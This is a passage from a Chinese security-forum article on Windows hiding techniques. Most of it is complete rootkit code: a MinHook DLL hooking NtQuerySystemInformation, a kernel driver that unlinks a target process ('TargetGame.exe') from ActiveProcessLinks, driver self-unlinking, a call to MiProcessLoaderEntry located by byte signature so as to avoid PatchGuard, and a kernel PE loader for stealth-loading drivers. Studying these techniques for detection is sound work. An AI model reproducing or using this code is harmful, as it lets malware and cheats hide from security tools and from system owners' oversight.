LOG("%s MinHook initialize fail\r\n", __FUNCTION__);
return false;
}
if (MH_CreateHook(pOriginalCallAddr,
NtQuerySystemInformationHooked,
reinterpret_cast<LPVOID*>(&pfnNtQuerySystemInformationOriginl)) != MH_OK)
{
LOG("%s MinHook create hook fail\r\n", __FUNCTION__);
return false;
}
if (MH_EnableHook(pOriginalCallAddr) != MH_OK)
{
LOG("%s MinHook enable hook fail\r\n", __FUNCTION__);
return false;
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
dll_open_console();
if (saveOriginalCall())
{
setHook();
}
}; break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
3.4、断链(BSOD)
断链早在以前的系统中是最常用的、在系统内核层操作的方式,不过由于后来微软增加了驱动签名验证、PatchGuard 等一系列保护措施,现在使用断链进行进程隐藏成本变高,毕竟谁也不想因为隐藏个进程而无时无刻受到Windows 蓝屏的洗礼。
不过,这里也还提一下,和DLL 断链类似,在内核层存在一个EPROCESS 的结构,存在一个ActiveProcessLinks 项,它指向当前系统中所有活动的进程链表,就像下图展示的一样:
ActiveProcessLinks 所指向的值是进程EPROCESS 地址+ActiveProcessLinks 偏移处。
知道上面这些,然后在加之亿点点的搜索引擎帮助,我们便得到了它:
#include <ntifs.h>
#define Eprocess_ActiveProcessLinks_Offset 0x448
#define EPROCESS_UniqueProcessId_offset 0x440
#define EPROCESS_SeAuditProcessCreationInfo_offset 0x5c0
#define LOG(fmt, ...) DbgPrintEx(77, 0, "[dbg] "fmt, ##__VA_ARGS__)
#define TARGET_PROCESS L"TargetGame.exe"
extern "C" DRIVER_INITIALIZE DriverEntry;
namespace global
{
static PLIST_ENTRY s_pListEntry;
}
PEPROCESS FindTargetProcess(WCHAR* targetName)
{
PEPROCESS pEprocess = NULL;
PEPROCESS pFirstProces = NULL;
ULONG64 UniqueProcessId = -1;
PUNICODE_STRING processName;
UNICODE_STRING systemName;
RtlInitUnicodeString(&systemName, L"System");
// 获取当前系统进程的EPROCESS
pEprocess = PsGetCurrentProcess();
if (!pEprocess)
{
LOG("get EPROCESS object fail\r\n");
return 0;
}
LOG("pEprocess = %p\r\n", pEprocess);
//_asm int 3
pFirstProces = pEprocess;
while (pEprocess)
{
UniqueProcessId = *(ULONG64*)((ULONG64)pEprocess + EPROCESS_UniqueProcessId_offset);
// !RtlEqualUnicodeString(processName, &systemName, TRUE) &&
//KdPrintEx((77, 0, "args:%p %p\r\n", pEprocess, processName));
if (*(ULONG64*)((ULONG64)pEprocess + EPROCESS_SeAuditProcessCreationInfo_offset) != 0 && NT_SUCCESS(SeLocateProcessImageName(pEprocess, &processName)))
{
if (processName->Buffer)
{
LOG("%wZ %p\r\n", processName, wcsstr(processName->Buffer, targetName));
//_asm int 3
if (wcsstr(processName->Buffer, targetName))
{
LOG(">> % p\r\n", pEprocess);
return pEprocess;
}
}
}
pEprocess = (PEPROCESS)(*(ULONG64*)((ULONG64)pEprocess + Eprocess_ActiveProcessLinks_Offset) - Eprocess_ActiveProcessLinks_Offset);
if (pEprocess == pFirstProces || *(ULONG64*)((ULONG64)pEprocess + EPROCESS_UniqueProcessId_offset) <= 0)
{
LOG("scan over, don't find target process\r\n");
break;
}
}
return 0;
}
VOID HideProcess(PEPROCESS pEprocess)
{
if (pEprocess && MmIsAddressValid(pEprocess))
{
global::s_pListEntry = (PLIST_ENTRY)((ULONG64)pEprocess + Eprocess_ActiveProcessLinks_Offset);
RemoveEntryList(global::s_pListEntry) ? LOG("hide fail\r\n") : LOG("hide success\r\n");
/*pListEntry->Blink->Flink = pListEntry->Flink;
pListEntry->Flink->Blink = pListEntry->Blink;
pListEntry->Flink = pListEntry;
pListEntry->Blink = pListEntry;*/
}
}
VOID ResumeProcess()
{
PLIST_ENTRY pHeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess() + Eprocess_ActiveProcessLinks_Offset);
if (global::s_pListEntry) InsertHeadList(pHeadEntry, global::s_pListEntry);
}
VOID DriverUnload(
_In_ struct _DRIVER_OBJECT* pDriverObject
)
{
ResumeProcess();
LOG("Driver unload\r\n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pUsRegisterPath)
{
LOG("Dirver entry\r\n");
pDriverObject->DriverUnload = DriverUnload;
HideProcess(FindTargetProcess(TARGET_PROCESS));
return STATUS_SUCCESS;
}
一个利用断链实现进程隐藏的驱动代码,效果下图所示:
0x04 隐藏驱动
既然上面谈到了驱动,这里也简单介绍几个驱动隐藏的方式,其实部分和上面提到的原理是类似甚至相同原理。
4.1、 断链(BSOD)
和上面进程断链类似的,驱动也可以断链,同样的,这套操作也可以享受到微软独家提供的蓝屏大餐,所有一般不推荐使用,当然,如果bypass PatchGuard 了,那就可以随便玩耍了。
驱动自身存在一个驱动对象_DRIVER_OBJECT ,在这个对象结构内有一个叫做DriverSection 的项,它实际上指向一个_LDR_DATA_TABLE_ENTRY 结构,定义如下:
//0x120 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks;//0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x10
struct _LIST_ENTRY InInitializationOrderLinks; //0x20
VOID* DllBase; //0x30
VOID* EntryPoint; //0x38
ULONG SizeOfImage; //0x40
struct _UNICODE_STRING FullDllName; //0x48
struct _UNICODE_STRING BaseDllName; //0x58
union
{
UCHAR FlagGroup[4]; //0x68
ULONG Flags;//0x68
struct
{
ULONG PackagedBinary:1; //0x68
ULONG MarkedForRemoval:1; //0x68
ULONG ImageDll:1; //0x68
ULONG LoadNotificationsSent:1; //0x68
ULONG TelemetryEntryProcessed:1;//0x68
ULONG ProcessStaticImport:1;//0x68
ULONG InLegacyLists:1; //0x68
ULONG InIndexes:1; //0x68
ULONG ShimDll:1;//0x68
ULONG InExceptionTable:1; //0x68
ULONG ReservedFlags1:2; //0x68
ULONG LoadInProgress:1; //0x68
ULONG LoadConfigProcessed:1;//0x68
ULONG EntryProcessed:1; //0x68
ULONG ProtectDelayLoad:1; //0x68
ULONG ReservedFlags3:2; //0x68
ULONG DontCallForThreads:1; //0x68
ULONG ProcessAttachCalled:1;//0x68
ULONG ProcessAttachFailed:1;//0x68
ULONG CorDeferredValidate:1;//0x68
ULONG CorImage:1; //0x68
ULONG DontRelocate:1; //0x68
ULONG CorILOnly:1; //0x68
ULONG ChpeImage:1; //0x68
ULONG ReservedFlags5:2; //0x68
ULONG Redirected:1; //0x68
ULONG ReservedFlags6:2; //0x68
ULONG CompatDatabaseProcessed:1;//0x68
};
};
USHORT ObsoleteLoadCount; //0x6c
USHORT TlsIndex;//0x6e
struct _LIST_ENTRY HashLinks; //0x70
ULONG TimeDateStamp;//0x80
struct _ACTIVATION_CONTEXT* EntryPointActivationContext;//0x88
VOID* Lock; //0x90
struct _LDR_DDAG_NODE* DdagNode;//0x98
struct _LIST_ENTRY NodeModuleLink; //0xa0
struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
VOID* ParentDllBase;//0xb8
VOID* SwitchBackContext;//0xc0
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
ULONGLONG OriginalBase; //0xf8
union _LARGE_INTEGER LoadTime; //0x100
ULONG BaseNameHashValue;//0x108
enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c
ULONG ImplicitPathOptions; //0x110
ULONG ReferenceCount; //0x114
ULONG DependentLoadFlags; //0x118
UCHAR SigningLevel; //0x11c
};
类似上面说的_PEB_LDR_DATA 结构,在里面也存放了驱动的一些信息,也存在一个驱动链,所以通过断链的方式来做驱动隐藏和上面说的断链隐藏模块隐藏进程的逻辑是一样的,直接上代码:
void HideDrvThreadProc(PVOID StartContext)
{
PDRIVER_OBJECT pObj = (PDRIVER_OBJECT)(StartContext);
NtSleep(1000);
// 断链的方式隐藏自己
PKLDR_DATA_TABLE_ENTRY pHead = ((PKLDR_DATA_TABLE_ENTRY)(pObj->DriverSection));
RemoveEntryList((PLIST_ENTRY)pHead);
pObj->Size = 0;
pObj->Type = 0;
pObj->DeviceObject = 0;
pObj->DriverSection = 0;
PsTerminateSystemThread(STATUS_SUCCESS);
}
4.2、 使用MiProcessLoaderEntry 隐藏驱动
MiProcessLoaderEntry 函数可以实现将驱动信息加入或删除链表,调用该函数可以实现在不触发PG的情况下实现驱动隐藏(我测试在win10 x64 20h1 下挂了10多个小时没蓝屏),这个函数原理其实本质上是对系统架构进行判断,如果是x86 就进行直接断链的操作(反正x86 下随便搞),x64 的话就调用RtlRemoveInvertedFunctionTable 函数进行操作
关于这个函数,在nt 下并未导出,所以需要自己去获取函数地址进行调用,推荐使用特征码进行匹配获取函数地址。这里也CV 了一段代码:
#include <ntifs.h>
#include "tools.h"
VOID Reinitialize(PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count)
{
// 测试 MiProcessLoaderEntry 函数使用
UCHAR ucMiProcessLoaderEntrySignCode[] = {
0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x18, 0x48, 0x89, 0x70,
0x20, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x65, 0x48, 0x8B, 0x2C, 0x25, 0x88, 0x01, 0x00,
0x00, 0x48, 0x83, 0xCE, 0xFF, 0x8B, 0xDA, 0xC6, 0x40, 0x10, 0x00, 0x48, 0x8B, 0xF9,
0x66, 0x01, 0xB5, 0xE4, 0x01, 0x00, 0x00, 0xB2, 0x01, 0x48, 0x8D, 0x0D, 0x62, 0xA4,
0x8B, 0x00, 0xE8, 0xFD, 0x17, 0xEE, 0xFF };
PVOID pfnMiProcessLoaderEntry = GetMemAddrBySignatureCode(DriverObject, L"ntoskrnl.exe", L".text", ucMiProcessLoaderEntrySignCode, sizeof(ucMiProcessLoaderEntrySignCode), 0);
if (!pfnMiProcessLoaderEntry)
{
LOG("get MiProcessLoaderEntry address is failed\r\n");
return STATUS_UNSUCCESSFUL;
}
LOG("MiProcessLoaderEntry address is %p\r\n", pfnMiProcessLoaderEntry);
((void (*_fastcall)(PVOID, ULONG))pfnMiProcessLoaderEntry)(DriverObject->DriverSection, 0);
DriverObject->DriverSection = NULL;
DriverObject->DriverStart = NULL;
DriverObject->DriverSize = NULL;
DriverObject->DriverUnload = NULL;
DriverObject->DeviceObject = NULL;
LOG("hide driver success\r\n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pObj, PUNICODE_STRING pStr)
{
pObj->DriverUnload = DriverUnload;
// 无正规签名的驱动在创建回调时会检查这个位是否被置位
PKLDR_DATA_TABLE_ENTRY pdte = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;
pdte->Flags |= 0x20;
// 驱动隐藏
IoRegisterDriverReinitialization(pObj, Reinitialize, NULL);
return STATUS_SUCCESS;
}
将该驱动加载到内存后,效果如下:
4.3、 内存加载
内存加载,没错就是上面说的那个内存加载,驱动本质上也是PE 格式,所以重写应该本地的PE 装载器对目标驱动进行装载也可以实现不经过系统装载从而达到隐藏的目的,不过首先要加载一个用于PE 装载的驱动到系统(属实炮灰了),这里就不多说了,直接上代码:
#include "PELoader.h"
char* CharToUper(char* cStr, BOOLEAN isAllocateMemory)
{
//RtlUpcaseUnicodeString()
char* ret = NULL;
if (isAllocateMemory)
{
// 需要申请内存
int len = strlen(cStr) + 2;
ret = ExAllocatePool(PagedPool, len);
memset(ret, 0, len);
memcpy(ret, cStr, len - 2);
}
else
{
ret = cStr;
}
_strupr(ret);
return ret;
}
ULONG_PTR QuerySysModule(IN char* ModuleName, OUT ULONG_PTR* module)
{
if (strlen(ModuleName) <= 0)
{
LOG("Moudle name is null\r\n");
return 0;
}
ULONG moduleSize = 0;
char* tempWStr = CharToUper(ModuleName, TRUE);
KdPrintEx((77, 0, "%s\r\n", tempWStr));
RTL_PROCESS_MODULES processInfo;
ULONG64 retPtr = 0;
NTSTATUS status = ZwQuerySystemInformation(SystemModuleInformation, &processInfo, sizeof(processInfo), &retPtr);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
ULONG len = retPtr + sizeof(RTL_PROCESS_MODULES);
// 首先使其出错,得到返回的长度
// 申请长度
PRTL_PROCESS_MODULES mem = (PRTL_PROCESS_MODULES)ExAllocatePool(PagedPool, len);
memset(mem, 0x0, len);
// 再次查询,得到正确的结果
status = ZwQuerySystemInformation(SystemModuleInformation, mem, len, &retPtr);
if (!NT_SUCCESS(status))
{
// 判断
ExFreePool(mem);
return 0;
}
// 开始查询
for (int i = 0; i < mem->NumberOfModules; i++)
{
PRTL_PROCESS_MODULE_INFORMATION pModule = &mem->Modules[i];
CharToUper(pModule->FullPathName, FALSE);
if (strstr(pModule->FullPathName, tempWStr))
{
LOG(">>>> %s %llX %08X\r\n", pModule->FullPathName, pModule->ImageBase, pModule->ImageSize);
if (module)
{
*module = pModule->ImageBase;
}
moduleSize = pModule->ImageSize;
break;
}
}
ExFreePool(tempWStr);
ExFreePool(mem);
}
return moduleSize;
}
// 复制PE 结构头部
void CopyIamgeHeader(PUCHAR buffer, PUCHAR ImageBaseBuffer)
{
// 拿到DOS 头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(buffer);
// NT 头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(buffer + pDos->e_lfanew);
// 节表
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
memcpy(ImageBaseBuffer, buffer, pNt->OptionalHeader.SizeOfHeaders);
}
// 复制PE 结构节表
void CopyIamgeSection(PUCHAR buffer, PUCHAR ImageBaseBuffer)
{
// 拿到DOS 头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(buffer);
// NT 头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(buffer + pDos->e_lfanew);
// 节表
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++)
{
memcpy(ImageBaseBuffer + pSection->VirtualAddress, buffer + pSection->PointerToRawData, pSection->SizeOfRawData);
pSection++;
}
}
// 修复重定位
VOID FixReloc(PUCHAR image) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)image;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(dos->e_lfanew + (ULONG64)image);
PIMAGE_DATA_DIRECTORY pReloc = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
ULONG64 ImageBase = nt->OptionalHeader.ImageBase;
PIMAGE_BASE_RELOCATION relocAddr = (PIMAGE_BASE_RELOCATION)((ULONG64)image + pReloc->VirtualAddress);
while (relocAddr->VirtualAddress && relocAddr->SizeOfBlock) {
PUCHAR RelocBase = (PUCHAR)((ULONG64)image + relocAddr->VirtualAddress);
ULONG BlockNum = relocAddr->SizeOfBlock / 2 - 4;
for (int i = 0; i < BlockNum; i++) {
ULONG64 Block = *(PUSHORT)((ULONG64)relocAddr + 8 + 2 * i);
ULONG64 high4 = Block & 0xF000;
ULONG64 low12 = Block & 0xFFF;
PULONG RelocAddr = (PULONG)((ULONG)RelocBase + low12);
if (high4 == 0x3000) {
*RelocAddr = *RelocAddr - ImageBase + (ULONG)image;
}
}
relocAddr = (PIMAGE_BASE_RELOCATION)((ULONG64)relocAddr + relocAddr->SizeOfBlock);
}
}
// 获取导出函数地址
PUCHAR GetExportFuncAddr(PUCHAR image, PUCHAR funcName)
{
// 拿到DOS 头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(image);
// NT 头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(image + pDos->e_lfanew);
// 节表
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
// 获取ImageBase
ULONG64 imageBase = pNt->OptionalHeader.ImageBase;
// 获取导出表
PIMAGE_DATA_DIRECTORY pExportTable = (PIMAGE_DATA_DIRECTORY)(&(pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]));
// 获取导出表结构
PIMAGE_EXPORT_DIRECTORY pExT = pExportTable->VirtualAddress + image;/////////////
// 获取导出函数的总数
ULONG numOfFunc = pExT->NumberOfFunctions;
// 以名称导出的函数总数
ULONG numOfFuncByName = pExT->NumberOfNames;
// 函数地址表
PULONG funcAddrTable = pExT->AddressOfFunctions + image;
// 函数名称地址表
PULONG funcNameAddrTable = pExT->AddressOfNames + image;
// 函数序号的地址表
PULONG funcOrdinalsAddrTable = pExT->AddressOfNameOrdinals + image;
// 循环遍历,获取对应函数的地址
for (int i = 0; i < numOfFuncByName; i++)
{
PUCHAR funcNameTemp = funcNameAddrTable[i] + image;
if (strcmp(funcName, funcNameTemp) == 0)///////////
{
USHORT funcAddrIndex = *(USHORT*)((ULONG64)funcOrdinalsAddrTable + (i * 2));
return funcAddrTable[funcAddrIndex] + image;
}
}
return 0;
}
// 修复导入表
VOID FixImport(PUCHAR image)
{
// 拿到DOS 头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(image);
// NT 头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(image + pDos->e_lfanew);
// 节表
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
// 获取导入表
PIMAGE_DATA_DIRECTORY pImportTable = (PIMAGE_DATA_DIRECTORY)(&(pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]));
// 获取导入表结构
PIMAGE_IMPORT_DESCRIPTOR pImportEntry = pImportTable->VirtualAddress + image;
// 遍历导入表
while (pImportEntry->Name)
{
// 模块基地址
ULONG64 moduleBase = 0;
// 返回模块大小
ULONG64 moduleSize = QuerySysModule(NT_NAME, &moduleBase);
if (moduleSize)
{
// 输入表IAT 地址
PULONG64 pIAT = (PULONG)(pImportEntry->FirstThunk + image);
while (*pIAT)
{
// 导入函数的名称
PIMAGE_IMPORT_BY_NAME funcName = *pIAT + image;
// 获取函数地址
ULONG64 FuncAddr = GetExportFuncAddr(moduleBase, funcName->Name);
// 修复IAT
*pIAT = FuncAddr;
pIAT++;
}
}
pImportEntry++;
}
}
// 内存加载驱动文件(加载PE)
ULONG64 LoadDriver(PUCHAR buffer, PULONG64 pEntry)
{
// 拿到DOS 头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)(buffer);
// NT 头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(buffer + pDos->e_lfanew);
// 节表
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
// 申请内存
PHYSICAL_ADDRESS phyLow;
PHYSICAL_ADDRESS phyHigh;
// 声明申请内存的物理页所在的范围为0x0-0xFFFFFFFF
phyLow.QuadPart = 0; // 0
phyHigh.QuadPart = -1; // FFFFFFFF
PUCHAR image = NULL;
int count = 3;
do
{
// 进行多次申请,保证内存一定能被申请到
image = MmAllocateContiguousMemorySpecifyCache(
pNt->OptionalHeader.SizeOfImage, // 申请内存的大小
phyLow, // 范围起点
phyHigh, // 范围终点
phyLow, //
MmCached);// 缓冲类型
if (image)
{
break;
}
--count;
} while (count);
if (!image)
{
return STATUS_UNSUCCESSFUL;
}
// 拷贝头部
CopyIamgeHeader(buffer, image);
CopyIamgeSection(buffer, image);
FixReloc(image);
FixImport(image);
// 拿到DOS 头
pDos = (PIMAGE_DOS_HEADER)(image);
// NT 头
pNt = (PIMAGE_NT_HEADERS)(image + pDos->e_lfanew);
// 入口点
*pEntry = pNt->OptionalHeader.AddressOfEntryPoint + image;
//DriverEntryCallBack entryCallBack = (DriverEntryCallBack)(pNt->OptionalHeader.AddressOfEntryPoint + image);
ULONG size = 0;
PIMAGE_LOAD_CONFIG_DIRECTORY pLoadConfigDir = RtlImageDirectoryEntryToData(image, TRUE, IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG, &size);
// 修改cookie
pLoadConfigDir->SecurityCookie |= 0x12138;
return image;
}
上面代码就是在驱动内实现对另一个驱动进行内存加载的代码。
0x05 保命申明
在里面涉及到的技术大部分是上古技术了,现在虽然也有不少在使用,但是随着计算机安全防护的提升,基本上单一的使用很容易G,我写这些也只是为了摆个烂,要是里面有错误的,还请各位大师傅海涵,随便指正一下,爱你们。
0x06 参考连接
https://blog.csdn.net/m0_46125480/article/details/121129942
https://blog.csdn.net/m0_46125480/article/details/121363884`
- 本文作者: tutuj
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1603
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!